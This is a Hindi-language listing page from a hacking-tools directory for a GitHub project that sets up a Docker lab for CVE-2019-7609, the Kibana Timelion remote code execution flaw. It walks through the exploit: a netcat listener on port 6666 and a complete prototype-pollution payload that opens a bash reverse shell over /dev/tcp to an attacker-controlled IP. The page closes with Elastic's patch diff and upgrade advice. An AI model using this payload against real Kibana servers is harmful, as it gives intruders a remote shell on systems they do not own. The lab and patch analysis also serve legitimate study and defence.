Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2019-7609 — Docker-आधारित प्रयोगशाला वातावरण और CVE-2019-7609 (Kibana Timelion RCE) के लिए शोषण, जिसमें रिवर्स शेल पेलोड और पैच विश्लेषण शामिल है। | Kitploit
उपकरण/GitHubGitHub/hekadan/cve-2019-7609
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणलर्निंग और शिक्षारिमोट एक्सेस टूललैब और अभ्यास
GitHubhekadan/cve-2019-7609

CVE-2019-7609

Docker-आधारित प्रयोगशाला वातावरण और CVE-2019-7609 (Kibana Timelion RCE) के लिए शोषण, जिसमें रिवर्स शेल पेलोड और पैच विश्लेषण शामिल है।

रिपॉजिटरी देखें
2036 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2019-7609 (Kibana)

Kibana के Timelion visualizer में दोष के कारण रिमोट कोड निष्पादन संभव बनाने वाली कमजोरी

पर्यावरण सेटअप (docker)

  1. संलग्न docker-compose.yml फ़ाइल चलाएँ।
root@kitploit:~
docker-compose up -d
  1. ब्राउज़र में http://127.0.0.1:5601 पर जाएँ।

एक्सप्लॉइट

  1. रिवर्स शेल तैयार करें।
root@kitploit:~
$ nc -lvp 6666
  1. Kibana के Timelion स्क्रीन पर पेलोड दर्ज करें और फिर रन बटन दबाएँ।
root@kitploit:~
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/<आक्रमणकारी सर्वर IP>/6666 0>&1");process.exit()//').props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')

  1. बाएँ पैनल में Canvas पर क्लिक करें।
  2. Kibana सर्वर से रिवर्स शेल के माध्यम से कनेक्शन स्थापित हो जाता है :)

payload reverse-shell

पैच

Kibana को 6.6.1 या 5.6.15 या उससे ऊपर के संस्करण में अपडेट करें।

संशोधित स्रोत कोड

https://github.com/elastic/kibana/commit/3377f813a5d96ff466bdf7343ce161de24830ed4.patch

root@kitploit:~
From 3377f813a5d96ff466bdf7343ce161de24830ed4 Mon Sep 17 00:00:00 2001
From: ppisljar <[email protected]>
Date: Wed, 16 Jan 2019 06:01:20 -0800
Subject: [PATCH] fixes

---
 .../core_plugins/timelion/server/series_functions/props.js      | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/src/legacy/core_plugins/timelion/server/series_functions/props.js b/src/legacy/core_plugins/timelion/server/series_functions/props.js
index 81b74901d4db..80e9cafd6712 100644
--- a/src/legacy/core_plugins/timelion/server/series_functions/props.js
+++ b/src/legacy/core_plugins/timelion/server/series_functions/props.js
@@ -32,7 +32,7 @@ function unflatten(data) {
     let prop = '';
     let m;
     while (m = regex.exec(p)) {
-      cur = cur[prop] || (cur[prop] = (m[2] ? [] : {}));
+      cur = (cur.hasOwnProperty(prop) && cur[prop]) || (cur[prop] = (m[2] ? [] : {}));
       prop = m[2] || m[1];
     }
     cur[prop] = data[p];
टूल डाउनलोड करें